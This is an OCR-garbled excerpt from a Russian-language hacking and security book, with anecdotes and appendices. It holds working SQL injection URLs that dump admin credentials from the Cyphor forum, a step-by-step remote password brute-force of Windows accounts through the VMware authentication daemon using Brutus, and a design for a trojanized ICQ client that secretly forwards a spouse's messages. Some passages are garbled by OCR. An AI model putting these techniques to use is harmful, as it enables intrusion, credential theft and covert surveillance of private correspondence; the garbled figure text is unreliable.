программе, как я посмотрел, для вычисления хэша пароля вызывалась внешняя библиотека. Писать свой переборщик паролей на основании вызова этой библиотеки не было желания и, главное, смысла, поскольку в общем случае перебор паролей — более медленный путь, чем мое «исправление» программы, и я решил попробовать просто угадать пароль. Известно, что многие пользователи выбирают пароль, совпадающий с именем пользователя. Я попробовал пару UNISYS-UNISYS,
ICQ и работа для частного детектива 159 но результат был отрицательный. Не долго думая, я попробовал UNISYS- UNIMAS (как говорится, мы говорим «Юнисис», подразумеваем — «Юнимас») и — о, радость победы! Я оказался внутри программы «Лайна». Сразу после этого я прервал процесс компиляции — нечего зря загружать машину, ведь цель уже достигнута. Естественно, без знания некоторой внутренней информации (о тесных взаимоотношениях фирм «Юнисис» и «Юнимас») и без определенной доли везения я бы оказался внутри программы «Лайна» на пару часов позже, а может быть, только в субботу утром, если бы не стал вечером дожидаться результатов компиляции. О чем говорит этот пример? На мой взгляд, о том, что надо просчитывать и использовать разные пути достижения своей цели, мыслить шире и быть при этом достаточно настойчивым. А что мы решили по поводу программы «Лайна»? Протестировав ее за выходные без посторонних глаз, наши программисты и банковские специалисты пришли к выводу, что программа еще «сырая», недостаточно продуманная и неудобная, в результате начальник IT-департамента доложил высшему руководству банка, что покупать программу сейчас нецелесообразно. Так что мой «высоконравственный» хакинг в итоге позволил банку сэкономить крупную сумму. Однако пора переходить ко второму примеру. ICQ и работа для частного детектива Время действия — 2007 год, место действия — некий областной центр. Известно, что мужья, подозревающие в измене своих жен (а жены — мужей), все чаще обращаются за помощью к частным детективам. Я, конечно, не частный детектив, а в прошлом специалист по защите информации и программист с большим стажем. Кроме того, имею почти законченное юридическое образование в качестве второго высшего. И вот знакомый одного моего знакомого обратился ко мне с конкретным вопросом: нельзя ли узнать, с кем и о чем его жена ведет беседы по аське? Если бы аська располагалась на домашнем компьютере, можно было бы внедрить туда обычный кейлоггер или троян, чтобы увидеть переписку. На это у мужа хватило бы сообразительности. Но основная проблема заключалась в том, что аська находилась у нее в сотовом телефоне, а телефон свой она в руки обычно никому не давала, в особенности мужу. Было также известно, что в качестве клиента аськи у нее в телефоне, как и у меня, была установлена программа jimm. Предупредив моего заказчика о потенциальной незаконности его действий по контролю чужой переписки и вежливо отказавшись ему помогать, я все-таки решил продумать возможные пути решения этой задачи с точки зрения хакера. Во- первых, программа jimm написана на языке Java и поставляется бесплатно. Даже если разработчики предприняли меры по защите исходного кода (применили так
160 13. Реальные задачи ГГ-безопасности называемую обфускацию), программу на Java довольно легко превратить обратно в исходный код, подправить и потом снова собрать из них jar-файл. Это большой плюс. Во-вторых, по умолчанию jimm не сохраняет переписку ни в телефоне, ни на сервере ICQ. Это минус. Первая идея, которая пришла мне в голову — изменить исходный код jimm, чтобы сохранять переписку в файле. Но у этой идеи есть несколько существенных недостатков: во-первых, для установки измененного клиента нужно получить физический доступ к телефону жертвы; во-вторых, память в телефоне может закончиться; в-третьих, для просмотра файла с перепиской необходим повторный (а возможно, и неоднократный) доступ к телефону, который, как известно, очень затруднен. Не отказываясь от первоначального замысла, попробуем модифицировать эту идею, чтобы, по возможности, устранить недостатки. По первому пункту напрашивается простое решение — использовать методы социальной инженерии. Познакомиться в Интернете с жертвой, войти к ней в доверие и предложить установить обновленную версию jimm с новыми «фишками» — воображаемыми или, лучше, реально добавленными. Можно, как минимум, просто поменять отображаемый номер версии программы на больший, а как оптимум — немного изменить что-то в дизайне. Итак, считаем, что ограничение на первоначальный физический доступ к телефону мы обошли. А что делать с последующими двумя ограничениями? Ответ прост: использовать возможности самого ICQ-клиента. То есть не сохранять переписку в файле, а скрытно отсылать ее на заранее прописанный в клиенте номер аськи. Таким образом, муж всегда будет в курсе переписки своей жены, и лишнее место в памяти ее телефона заниматься не будет. Маленький нюанс — для получения длинных сообщений нужно, чтобы компьютер с «прослушивающей» аськой был включен постоянно, по крайней мере, когда жертва в онлайне. Короткие же сообщения можно получать и в оффлайне. Можно, конечно, еще больше «заморочиться» и отправлять слишком длинные сообщения по частям. А если нас почему-то не устроит вариант с «прослушкой» ICQ, можно пойти на гораздо более трудный в реализации вариант: отсылать записанные сообщения почтой на свой электронный адрес. Это более трудоемкий и, на мой взгляд, менее изящный подход. Его достоинства и недостатки предлагаю вам обдумать самостоятельно. Также (параноики, внимание!) для заметания улик в программу можно попытаться включить функцию самоуничтожения по команде с того же указанного номера ICQ (или, как вариант, с любого номера). Хотя не знаю, позволит ли операционная система телефона удалить файл, из которого запущена работающая программа. Здесь нужно экспериментировать. Разумеется, я категорически не советую вам использовать все эти придумки на практике, ибо они являются нарушением тайны переписки, а также подпадают под статью 273 УК РФ, «Создание, использование и распространение вредоносных программ для ЭВМ». Хотя здесь есть небольшая юридическая
Работа для антихакера, или «привет из Бразилии» 161 закавыка — обвинение должно доказать, что сотовый телефон принадлежит к классу ЭВМ. Хотя, по сути, он содержит миниатюрную ЭВМ специального назначения со своим процессором, оперативной и постоянной памятью, снабженную собственной операционной системой, позволяющей выполнять программы- приложения, формально, с точки зрения русского языка, является мобильным телефоном, а не ЭВМ! Но все-таки с точки зрения не буквы, а духа закона — эта манипуляция с ICQ-клиентом есть явно противоправное деяние. Известна поговорка, что там, где есть два юриста, существует как минимум три мнения ©. Но не стоит проверять на себе, чью сторону примет суд. Именно поэтому я даже не стал экспериментировать на своем телефоне и воплощать эту идею в жизнь. О чем, на мой взгляд, говорит данный пример? О том, что надо мыслить изобретательно, но при этом не нарушать закон. Теперь третий пример. Работа для антихакера, или «привет из Бразилии» Этот пример особенно никого ничему не учит, он просто приведен здесь как личное наблюдение из жизни автора, на собственном опыте столкнувшегося с деятельностью бразильских хакеров. Кажется, это был 2005 год. Мне позвонил знакомый системный администратор и сказал, что обнаружил у себя на работе нечто заслуживающее моего внимания, а именно — следы постороннего присутствия на сервере, работающем под управлением Linux. Когда я приехал к нему на работу, он показал мне на своем рабочем компьютере каталог с несколькими подозрительными файлами. Эти файлы он нашел на сервере в некоем подозрительном каталоге, который, в свою очередь, находился в каталоге /tmp, куда, как обычно, разрешен доступ на запись, чтение и исполнение всем пользователям. Он их скопировал на дискету, почистил каталог/tmp и перенес файлы на свою рабочую станцию. А поскольку на рабочей станции была установлена система Windows, эти файлы больше не представляли опасности. Также он сказал, что «убил» на сервере некий посторонний процесс, который связывался с каким-то внешним IP-адресом. Изучение файлов, лежавших в подозрительном каталоге, показало, что это были скрипты и программа-шелл для бэкконнекта на языке Perl. С шеллом было все понятно: он используется для соединения с компьютером хакера, чтобы преодолеть файрвол, обычно фильтрующий только входящие соединения. Именно эту программу-шелл первым делом и «прибил» системный администратор. Один из скриптов занимался тем, что разархивировал файл, содержащий прочие сценарии. Самый большой скрипт, был, по сути, интернет-червем, созданным бразильскими хакерами. Они не побоялись оставить в комментариях свои ники и адрес своего сайта, на который осуществлялся бэкконнект. В начале скрипта
162 13. Реальные задачи ГГ-безопасности было какое-то послание другим хакерам на португальском языке, имена переменных в программе тоже были в основном не английские, а португальские. Я уловил общий смысл послания и других комментариев, поскольку в некоторой степени владею итальянским и немного испанским, а это языки, родственные португальскому. Итак, червь делал запрос к Google, позволяющий найти уязвимые сайты. Надо сказать, что несколько лет назад этот поисковик с его развитой системой запросов был очень сильным «инструментом» в руках хакеров, позволяющим с помощью запросов легко находить уязвимые веб-сайты, и в журнале «Хакер» его даже назвали самой лучшей хакерской программой. Сейчас администрация Google много сделала, чтобы своевременно обнаруживать и пресекать такие запросы. Найдя следующий уязвимый сайт, червь копировал себя в каталог /tmp сервера, на котором хостился сайт. Разархивировавшись, он запускал бэкконнект-шелл, который «стучался» на сервер хозяев-хакеров, открывая им доступ к чужому компьютеру. И дальше процесс поиска уязвимых сайтов повторялся вновь. Конечно, этот механизм работал только на Linux и прочих Unix-подобных системах, но, учитывая, что таких серверов в Интернете большинство, хакеры собирали солидный «улов» покоренных машин. Как же проник червь на компьютер фирмы, в которой работал мой знакомый? Небольшое расследование показало, что этот сервер служил одновременно и шлюзом в Интернет для всей локальной сети, и веб-сервером, на котором располагалась страничка фирмы, видимая из внешнего Интернета. Сейчас такие решения непопулярны из-за их потенциальной небезопасности, но раньше, в середине 90-х, их можно было встретить довольно часто. Дальнейшее изучение показало, что сама страничка фирмы проста и не содержит никаких уязвимостей, но в одном из каталогов сайта системный администратор установил «на пробу» широко распространенный бесплатный движок для веб-сайта, один из модулей которого и содержал баг, позволявший удаленно выполнять команды на уязвимой системе. Об этом мог догадаться и сам системный администратор, но я ему немножко помог, узнав название и версию веб-движка напрямую из хакерского запроса к Google в зловредном скрипте. Изучение логов веб-сервера только подтвердило наши предположения. Естественно, как только выяснились обстоятельства проникновения хакеров, бесплатный движок был тут же удален. Дополнительно администратор поменял пароли пользователя root и других пользователей сервера, провел поиск подозрительных файлов (в частности, файлов с установленным битом suid), после чего сделал резервную копию и стал готовиться обновить версию ядра Linux до новейшей 2.6.x, так как текущая версия была 2.4 jc (не помню точно последнюю цифру). Это было вызвано тем, что мы, по моей инициативе, нашли через Google (по запросу «linux kernel 2.4. local root exploit») прекрасно работающий в этой версии ядра открытый эксплойт для локального получения прав root, а для новейшей версии ядра такого эксплойта еще не было.
Небезопасная программа VMware Player 163 Я сейчас с удовольствием пересмотрел бы эти хакерские скрипты и, может быть, описал их работу более подробно, но они, к сожалению, у меня не сохранились из-за краха одного из разделов на моем жестком диске несколько лет назад. Тогда я потерял часть довольно важной информации. К счастью, абсолютное большинство программ, созданных мною в качестве программиста за многие годы, уцелело, потому что располагались они в другом разделе жесткого диска и на архивных носителях. Так что обязательно регулярно выполняйте резервное копирование ценных для вас данных. Когда я писал эти строки, у меня возникла «безумная» идея, достойная настоящего антихакера, — можно было тогда модифицировать этот червь так, чтобы он не распространялся, а разослал администраторам всех найденных им уязвимых вебсерверов предупреждение, что их компьютер подвержен захвату хакерами. Впрочем, хороший администратор всегда сам вовремя обнаружит вторжение, очень хороший предотвратит его заранее, а плохой и почту-то читать не станет ©. Что же касается сообщества бразильских хакеров, то тогда они были очень сильны и весьма распоясались, поскольку в то время в Бразилии не существовало наказания за компьютерные преступления. Не знаю, изменилась ли ситуация сейчас. Но, по информации из Интернета и других масс-медиа, в соседней с Бразилией Аргентине наказания за хакерство не существует и сейчас. Небезопасная программа VMware Player Данная история, в отличие от трех предыдущих, изобилует технической терминологией, иллюстрациями и в ней предлагается самостоятельно повторить действия антихакера. Настоящее название этой истории «Удаленный подбор паролей пользователей ОС Windows с установленными продуктами VMware, в частности программой VMware Player». Читать ее следует только достаточно подготовленным хакерам, антихакерам и сисадминам. (Если вы новичок, то, я думаю, после прочтения предыдущих глав ваш уровень подготовки вполне достаточен.) Эту возможность я обнаружил самостоятельно в ходе работы над своей второй книгой (июнь 2011). Уязвимость кроется в демоне аутентификации VMware — vmware-authd.exe. Надо отметить, что демон vmware-authd.exe запускается при загрузке Windows и всегда присутствует в списке процессов независимо от того, запускали ли вы VMware Player в течение данного сеанса работы. Мои поиски описания подобной уязвимости в Интернете (в частности, среди описаний CVE) не принесли положительного результата. Или я плохо искал, или про эту уязвимость «забыли», или вообще не посчитали за таковую. Действительно, по своей сути это не уязвимость (vulnerability) в обычном понимании этого термина, а, скорее, просто небольшая брешь в системе безопасности (security hole), лазейка для хакеров.
164 13. Реальные задачи ГГ-безопасности Дело было так: я сканировал шпар'ом со второй машины моей учебной локальной сети (на тот момент машина работала под управлением ОС Linux Back Track 4, загруженной с DVD) все порты на своем основном компьютере (с Windows XP) в поисках возможных уязвимостей или «вражеских» бэкдоров. И nmap в числе прочих указал открытый порт с номером 912 с неизвестной ему службой. Мне такой номер порта тоже ничего не говорил, и я решил присоединиться к нему по протоколу telnet: telnet 192.168.20.1 912 К своему немалому удивлению я увидел приглашение: 220 VMware Authentication Daemon Version 1.0. ServerDaemonProtocol:S0AP, MKSDispla'yProtocol:VNC Число 220 в начале сообщения напомнило мне приглашение FTP-сервера, и я «на пробу» ввел команду USER имя_пользователя Здесь имяпользователя — имя реально существующего пользователя в моей системе Windows XP на основном компьютере. После нажатия клавиши Enter демон аутентификации ответил, еще больше подтверждая сходство с процедурой входа по протоколу FTP: 331 Password required for имя_пользователя Тогда я ввел следующую команду: PASS реальный_парольпользователя И успешно вошел в систему, получив сообщение: 230 User имя_пользователя logged in. На всякий случай я попробовал набрать команды HELP, HLP и потом некоторые FTP-команды, но все они были расценены демоном как неправильные. И не удивительно, ведь в баннере демона было указано, что он поддерживает протокол SOAP (Simple Object Access Protocol). Это протокол на базе языка XML, который определяет правила передачи сообщений по Интернету между различными прикладными системами. Однако команда QUIT позволила мне успешно выйти. Вывод был очевиден: используя любую программу-брутфорсер, поддерживающую перебор паролей по протоколу FTP и позволяющую изменить номер порта, предлагаемый по умолчанию, можно удаленно подбирать пароли к учетным записям Windows на моем компьютере, только вместо номера порта 21 нужно указывать номер 912. Теперь перейдем к практической реализации. Если у вас установлена программа VMware Player, вы можете в командной строке Windows набрать следующее: telnet 127.0.0.1 912 То есть войти в систему, как показано на рис. 13.1, от имени любого пользователя Windows.
Небезопасная программа VMware Player 165 ИВ 1221) UMuare Authentication Daenon Uersion ] [iayProtooolrUNC , [USER Guest 1331 Passuoi*d required for Guest. BPftSS 1230 User Guest logged in. [QUIT 1221 Goodbye [Connection to host Jo IC:\Docurients and Setl r> L .0, SeroerDaep»onProtocol:SOAP, -a * MKSDisp a] V1 i Рис. 13.1. Вход на локальной машине от имени пользователя Guest Сейчас я покажу, как можно подбирать пароли к логинам пользователей с помощью программы Brutus (www.hoobie.net/brutus). В примере я задействовал встроенную учетную запись Guest, у которой пароль по умолчанию пустой. Эта учетная запись у меня была заблокирована по соображениям безопасности, но я на время разблокировал ее командой консоли net user Guest /active:yes При проведении этого эксперимента лучше отключиться от Интернета, а в конце работы не забудьте снова заблокировать учетную запись Guest, введя в консоли команду net user Guest /active:no Итак, запускаем Brutus и выбираем в поле Туре значение FTP. Чтобы убедиться, что последовательность входа в VMware точно такая же, как и в протоколе FTP, щелкаем на кнопке Modify Sequence (Модифицировать последовательность) и смотрим эту последовательность для фазы ввода имени пользователя (рис. 13.2) и для фазы ввода пароля (рис 13.3). Видим, что номера подсказок и ответов системы совпадают с теми, которые мы только что видели при входе через VMware-демон. Возвращаемся в основное окно Brutus. У нас уже выбран вариант FTP в качестве типа (Туре), далее устанавливаем флажок Single User (Одиночный пользователь), в поле UserlD вводим имя интересующего нас пользователя, в данном примере — Guest. Режим Pass Mode отставляем без изменений (Word List), словарь тоже будем использовать тот, что поставляется вместе с Brutus — words.txt. Теперь изменяем порт (Port) с 21 на 912. У нас все должно выглядеть, как на рис. 13.4. Далее запускаем Brutus (щелчком на кнопке Start).
166 13. Реальные задачи ГГ-безопасности Brutus - Authentication Sequence Definition Г Usepre-auth Г* NoUserlD Authentication sequence Selected authentication phase UserlD prompt [220 Force read of at least j 1 UserlD format JUSER OK J View Cancel jBHSIlIHel Ў[ characters of target response УшюТ [CRiLFjd Response sequence Selected target response string j Primary jrj Auth. response string J230 p" Response is positive authentication Force read of at least |1 characters of target response On no match action [Send UserlD phase Ў] Рис. 13.2. Последовательность для фазы ввода имени пользователя Brutus Authentication Sequence Definition Г Llsepre-auth Г NoUserlD [ OK | View j Cancel! Authentication sequence ; Selected authentication phase jlaWBHSBHflB Ў Password prompt J331 Force read of at least |1 characters of target response Password format |РА§!Г~ Рл^тА" ~ [CFkLTTj Response sequence Selected target response string (Primary j*J Auth. response string |230 jv Response is positive authentication Force read of at least |1 characters of target response 0n no match action jSend UserlD phase jrj Рис. 13.3. Последовательность для фазы ввода пароля пользователя Пароль подбирается практически мгновенно, с четырех попыток (рис. 13.5). Почему количество попыток не равно одной, хотя в файле words.txt пустой пароль стоит на первом месте? Ответ прост — Brutus у нас по умолчанию использует 10 соединений (потоков) одновременно (ползунковый регулятор Connections), поэтому пароли могут подбираться немного в иной последовательности, чем они указаны в словаре — все зависит от того, какому из потоков взламываемая система ответит быстрее. По-видимому, демон аутентификации VMware быстрее
Небезопасная программа VMware Player 167 File loois Help Target [1270.0.1 "" Type |FTP Connection Options Port 1912 Connection- " Ю Timeout ГГ^ FTP Options Modify sequence j P Try to stay connected for -Unlimite Ў] attempts Start j Stop j Clear j 10 Authentication Options !</ UseUsername P Single User UserlD j Guest Pass Mode [word Ш - Pass File jwords.txt Browse Positive Authentication Results Г • Las Username ly^'tWTft'iirlliny.UlryBIK'^yilffllllifliVHl^lla 0% Рис. 13.4. Подготовка к подбору пароля пользователя Guest * Bi utti > Af T? www.lwobie .nel/brutus .- M<inti*iy 2000) Target (127.0.0.1 Connection Options Port ] 912 Connections """ FTP Options Typei FTP Ю Timeout ^П"~" J I Start j Stop ' Clear ; 10 Г Use Proxy Define I Modify sequence { Try to stay connected tor JUnlimite Щ attempts Authentication Options ; t%? UseUsername p" Single User UserlD (GuesT""' Positive Authentication Results Pass Mode jWord List jj Pass File Jwords.txt Browse . farget 127.0.0.1 FTP j Password Рис. 13.5. Пароль для Guest найден
168 13. Реальные задачи ГГ-безопасности «отвечает» в случае неправильного пароля и с несколько большей задержкой в случае правильного, поэтому мы и имеем такую картину. Хорошо, что Brutus поддерживает опцию «Quick Kill». Дело в том, что после неудачной попытки входа команда QUIT не работает, она действует, только если пользователь войдет в систему. Соответственно, для разрыва такого соединения и нужна опция «Quick Kill». Она включается автоматически и мигает красным при каждом срабатывании. В конце работы не забудьте снова отключить учетную запись Guest, как показано на рис. 13.6. Рис. 13.6. Отключаем режим использования учетной записи Guest Аналогичным образом вы можете попробовать подобрать пароли к другим учетным записям на вашем компьютере. В случае русских букв в именах пользователей или в паролях, как я выяснил, требуется перекодировать их в UTF-8 (забавно, но об этом мне сообщил сам демон VMware Authentication Daemon при попытке ввода имени пользователя из русских букв через telnet в консоли Windows). После перекодировки, например, имя пользователя «Вася» будет выглядеть как «Р'Р°СГСЦ». Такие символы невозможно непосредственно ввести в программе telnet, по-видимому, нужно вводить их коды наподобие \x55\x80... Зато Brutus, как показали дальнейшие исследования автора, прекрасно «понимает» такие имена пользователей и может подбирать к ним пароли. Один из сайтов для универсальной онлайн- перекодировки кириллицы: http://2cyr.com/decode/7lang-ru. Но при перекодировке из ср-1251 в UTF-8 на этом сайте иногда случаются «глюки» — неправильная перекодировка некоторых заглавных букв (например «И»), то же самое бывает и при обратной перекодировке.
Небезопасная программа VMware Player 169 Опасность обнаруженной лазейки в том, что если Windows обычно блокирует подбор паролей после нескольких неудачных попыток, то VMware Authentication Daemon 1.0 этого не делает и позволяет удаленно или локально подбирать пароли пользователей неограниченно долго, без временных задержек в случае ввода неправильного пароля. Чтобы проверить это на нашей системе, достаточно поместить правильный пароль в самый конец файла words.txt, и он все равно будет подобран. Сообщения о неудачных попытках входа попадают в журнал событий безопасности Windows — Security log, если включен аудит входа/выхода пользователей, однако при этом в журнале указывается не тот пользователь, пароль которого подбирается, a SYSTEM. И только в случае правильного подбора пароля пользователя в журнале будет фигурировать имя этого пользователя в событиях «успешный вход/выход». Следует отметить, что по умолчанию в Windows XP аудит событий безопасности вообще отключен. Также можно задействовать эту уязвимость для подбора паролей к учетным записям других пользователей на локальном компьютере (что мы в нашем примере, по сути, и делали). Как бороться с таким удаленным подбором паролей? Можно в правилах файрво- ла (я использую файрвол, встроенный в KIS 2011, но это дело вкуса и привычки) указать, что программе vmware-authd.exe разрешены входящие соединения только с локального адреса (127.0.0.1). Но и тогда по-прежнему сохраняется возможность локального подбора паролей других пользователей, имеющихся на данном компьютере. Например, дома можно пытаться подобрать пароли родственников (если они их от вас почему-то скрывают ©). Режим полного перебора символов (Brute Force), имеющийся в программе Brutus, оправдан только в случае очень коротких, лучше чисто цифровых паролей (типа «123» или даже «1234»). На моем компьютере скорость локального перебора цифровых паролей при максимальном количество соединений (60) составляла 70-90 попыток в секунду. Все возможные пароли длиной от одной до трех цифр перебирались за 11-12 секунд, а от одной до четырех цифр — за 2 минуты. Конечно, при наличии физического доступа к компьютеру вариант с использованием VMware Authentication Daemon далеко не самый лучший — гораздо проще и быстрее сделать дамп файла паролей и взламывать их хэши. Итак, это была уязвимость Windows с установленной программой VMware. А теперь об известных уязвимостях самой программы VMware (уязвимость демона аутентификации и другие). По адресу http://www.cvedetails.com/cve/CVE-2009-4811 расположено описание другой уязвимости VMware Authentication Daemon 1.0 (на английском языке). Суть ее в том, что VMware Authentication Daemon 1.0 службы авторизации VMware в продуктах VMware Workstation, VMware Player 3.0 и VMware Server 2.x до определенных версий сборок позволяет удаленному атакующему вызвать отказ в обслуживании (крах процесса) путем вода последовательности \x25\x90 в командах USER и PASS. Также сходная уязвимость описана в более ранней заметке
170 13. Реальные задачи IT-безопасности CVE-2009-3707, но с иной последовательностью символов. Как видим из номеров CVE, обе уязвимости датированы 2009 годом, и в установленной у меня версии VMware Player 3.0 они уже исправлены. Из информации, содержащейся в предыдущем абзаце, можно сделать вывод о том, что поскольку VMware Authentication Daemon 1.0 используется не только в VMware Player, но и в VMware Workstation, а также в VMware Server, то системы, в которых установлена любая из этого семейства программ, также подвержены удаленному подбору паролей. Как я выяснил уже после нахождения мною описанной лазейки, антивирус Kaspersky Internet Security 2011 после поиска потенциальных уязвимостей на моем компьютере упомянул среди прочих программ и VMware Player как небезопасную, хотя и не требующую обязательного исправления программу. После щелчка на кнопке Подробности в браузере открылась страница со следующим адресом: http://www.securelistxom/ru/adwori Там на русском языке перечислены последние уязвимости продуктов VMware, дана их краткая характеристика, и есть ссылки на соответствующие страницы с CVE (на английском). Судя по всему, большой опасности эти уязвимости не представляют. Тем более доступны обновления программ от VMware, в которых данные уязвимости устранены.
Основные * nix-команды Я понимаю, что приведенный в этом приложении список "nix-команд очень краткий, он не охватывает даже небольшой доли всех команд, которые любят использовать хакеры. Тем не менее это минимум, необходимый, но недостаточный. За дальнейшими познаниями обращайтесь к карманным справочникам команд Linux или соответствующим Интернет-ресурсам. Is <dir> Список всех файлов в каталоге. dir Аналогично. Список всех файлов в каталоге. pwd Имя текущего каталога. cd <dir> Переход в указанный каталог. cat <file> Просмотр содержимого указанного файла. id Идентификатор и имя текущего пользователя. id <user> Идентификатор указанного пользователя. whoami «Кто я?» — имя текущего пользователя. uname -a Информация о машине и операционной системе. uptime Время непрерывной работы системы (без перезагрузки). netstat Сетевые соединения. m
172 Приложение 1. Основные *гнх-команды man <command> Справочное руководство по *тх-командам. man ascii Таблица ASCII-кодов символов. <command> -help Краткая справка о команде. users Список работающих в данный момент пользователей. who То же, но в другом формате. w То же, но в другом формате. ps Список процессов текущего пользователя ps -А1 Список всех процессов. kill <PID> Завершение процесса под номером <PID>. finger <login> Информация о пользователе. last Информация о последних входах в систему. last <login> Информация о последних входах пользователя. ср <file> <newlocation> Копирование файла. mv <file> <newlocation> Перемещение или переименование файла. rm <file> Удаление файла. mkdir <dir> Создание каталога. rmdir <dir> Удаление каталога. chmod ххх <file> Изменение прав доступа к файлу или каталогу. vi <file> Редактирование файла в редакторе vi.
Основные *п1х-команды 173 vim <file> Тоже. kwrite <file> Редактирование файла в редакторе kwrite (с графическим интерфейсом). ее <file> -о <outfile> Компиляция программы на языке С. gec <file> -о <outfile> Компиляция программы на языке С с помощью компилятора GNU. wget -0 <outfile> <url> Загрузка файла из Интернета на локальный компьютер. curl -о <outfile> <url> Тоже.
П2 SQL-инъекции в модуле show.php форума Cyphor В этом приложении мы рассмотрим две SQL-инъекции в модуле show.php. Этот модуль показывает содержимое постов на форуме и доступен без входа в Cyphor. Указанные уязвимости вынесены мною в приложение, потому что по непонятной причине модуль show.php у меня сначала не работал, потом заработал, а потом, после закрытия окна браузера и его повторного открытия, опять перестал работать. Так что я привожу данный материал скорее для ознакомления. Сначала нужно добавить хотя бы один форум. Чтобы сделать это без регистрации в системе, отредактируем файл cyphor/admin/forum-create.php так, как показано на рис. П2.1, поставив в начале строки с функцией include("check.php") символ комментария — #. Благодаря этому проверка регистрации пользователя в системе будет отключена. Не забудьте сохранить измененный файл. <? 1 IV 1 IV 1IV. 1ГН liKl.f". ,/include/db_nysql .phpH) : i Mfl.(и. ./include/settings .php"); UnR(". ./include/global.php") : lmie( "admin.php") : *\.r.cluae( 'check, php'' >; Рис. П2.1. Изменение файла cyphor/admin/forum-create.php Теперь перейдите в браузере по адресу http://localhost/webexploitation_package_02/ cyphor/admin/forum-create.php. Создайте новый форум, как показано на рис. П2.2, щелкнув один раз на кнопке Create Forum. Применим SQL-инъекцию параметра id. Строка запроса выглядит следующим образом (рис. П2.3): http://1 оса1 host/webexploi tati on__package_02/cyphor/show.php? fi d=l&i d=-10 union select 1,2.3,4,5.nick.password.8.id.10 from cyphor_users where id=l Здесь из таблицы cyphorusers извлекаются параметры id, nick и password пользователя, у которого id=l (администратор).
SQL-инъекции в модуле show.php форума Cyphor 175 L.oc abort ?.dtt \#*w ?o Bookmarks Tools Settings Wmo'0*' tJetp |i ^ Location щр http /,'k:c3lho^t/'webexploitation_package_02/cyphor/'admin/fonjrn-create php Create A New Forum Short description (max. ?5S chars) MvSQL example: . wiM be ad Tablename (no spaces, for , ..... msg .test") Table prefix * Jmsg_teSt ed automatically. Test Forum My test forum Hit trtiton ortJv cikc' Create Forum Page loaded Рис. П2.2. Создание нового форума в Cyphor location ?dit View Go bookmarks lools Settings Window Help . ^ - \ Ч Ч *> lii E> Location. ^select%201<23/43,nick,password,8Jdao%20from%20cyphor_users%20where%20id==l W U admin, posted by aiexi, [1], January 01, 1970 - 00:00. Viewed 11 times. afc* 1 № ad4ERM . Y J7 j 9A (0 posts total, last post: WA) forty to ttofr PQti I B*fMe *N fmw l fmm <*«*№» ?W | L<MJg 1 Unfair 1 t,»«t yew ЕЮЗ Wfl? Cypher (Release: 0.19, PHP 4.4.4) Page loaded Рис. П2.3. SQL-инъекция в параметре id в модуле show.php форума Cyphor Еще один немаловажный вопрос: как хакеры определяют имена таблиц и колонок? В MySQL есть база i nf ormati on_schema с таблицами tabl es и col umns. В нашем случае мы можем узнать имена всех таблиц с помощью следующего запроса: union select 1.2.3.4,5.6.group_concat(table_name),8,9.10 from information schema.tables.
176 Приложение 2. SQL-инъекции в модуле show.php форума Cyphor Рассмотрим еще одну интересную SQL-инъекцию в параметре fid того же модуля show.php. Эту уязвимость я нашел, работая над текстом книги (две предыдущие инъекции были описаны на хакерских сайтах и сайтах, посвященных вопросам безопасности). Как я выяснил экспериментально, чтобы инъекция была успешной, параметр fid должен принимать несуществующее значение (например, fid=-l), а параметр id — отсутствовать. Когда я подбирал количество колонок, запрос с четырьмя параметрами наконец-то не выдал сообщения о несовпадении количества столбцов: fid=-l union select 1,2.3.4 from cyphor_users Однако этот запрос показал другую ошибку (рис. П2.4). I location ?dit ^tew ?о bookmarks Ioola Settings \fl()ndo* &е»р 83 E^ Location 4 x v * _02/cyphor/show php'fid^-l%20union%20belect%201.2,3,4%20froin%20cyphor_user5 Ў ,1 MySQL Error: Invalid SQL: SELECT Id FROM cyphor_4 WHERE parentjd*0 Database error: 1146 (Table ,cyphor.cyphorjT doesn't exist) Please contact us [adminQdomain.ext] and specify the exact error message. Session halted. Рис. П2.4. Ошибка SQL — обращение к несуществующей таблице cyphor_4 Как видите, четвертый параметр подставляется в запрос в качестве имени таблицы: сценарий делает запрос к несуществующей таблице cyphor_4. «Вскрытие» (то есть изучение исходного текста модуля show.php) показало, что здесь нужно использовать имя реальной таблицы, содержащей форум. У нас создан только один форум, и таблицу с ним мы назвали msgtest. To есть вместо четвертого параметра следует подставить конструкцию 'msg_test' (в одинарных кавычках, потому что это — текстовая константа, а не имя столбца). В результате вместо ошибки я увидел страничку форума. Оставалось только вставить вместо второго параметра что-то полезное, например вызов функции concat: http://localhost/webexploitation_package_02/cyphor/show.php?fid=-l union select 1. concat(nick.0x3a,password),3.'msg_test' from cyphor_users Результат показан на рис. П2.5.
SQL-инъекции в модуле show.php форума Cyphor 177 location ?dit yiew ?o bookmarks Iools Settings Kfclndow fcjetp 4 \ \ m ?> Location до on%20select%201.concat(nick.0x3a.password).3.'msg_test%20from%20cyphor_users * J My Discussions > admin:ad4ERM.YJ7)9A fO Threads. 0 Messages total) Peat Htw tank 1 CoHapaci Tbraada (етфу forum) Port now took 1 СоНиыс Thread*, forum» Overview | Lftflia 1 BteiJdSI I loat wur password? 1 uaer(8) online Jump to... Ў GO CtfPhor (Release; 0.19, PHP 4 4.4) Рис. П2.5. Успешная эксплуатация SQL-инъекции в параметре fid модуля show.php Конечно, реально использовать обнаруженную уязвимость гораздо труднее, поскольку вначале нужно узнать имя таблицы, содержащей форум. Но зато мы нашли интересный пример обхода ограничений.
пз Взлом паролей пользователей форума Cyphor Пароль пользователя форума Cyphor шифруется функцией crypt с использо ванием имени пользователя (логина), преобразованного к нижнему регистру Проведенные мною исследования показали, что полный перебор всех паролей длиной до 8 символов, состоящих только из строчных букв и цифр, займет более 1000 дней (программа перебора написана на РНР и исполняется в моей системе под виртуальной машиной). Но нельзя ли что-то сделать, чтобы упростить за дачу? Оказывается, можно. В модуле форума, отвечающем за регистрацию пользователей (register.php) вызывается функция randompassword (она описана в модуле globals.php). Эт; функция случайным образом генерирует читабельный 8-символьный пароль, со стоящий из букв, цифр и одного спецсимвола, после чего этот пароль высылаете; пользователю. Для инициализации генератора случайных чисел используете* текущее системное время, получаемое функцией time(). Замечу мимоходом, чт( в Unix-подобных ОС текущее время представляется как количество секунд, про шедших с 1 января 1970 года. Но самое интересное в том, что время регистрацш сохраняется в таблице cyphorusers вместе с другой информацией о пользовател< (поле называется signupdate). To есть мы можем SQL-запросом «вытащить» эте время, как показано на рис. П3.1. шшшшшяшт Location ?dit View So ftookmarfcs Tools Settings Window Help E> Location Q(bk20union%20select%201,conc rsword,signup_date),3,'msg_test'%20from%20cyphor_users * ons > admin :ad4ERM.YJ7j9A:1183205359 (0 Threads, 0 Messages total) ip*# new 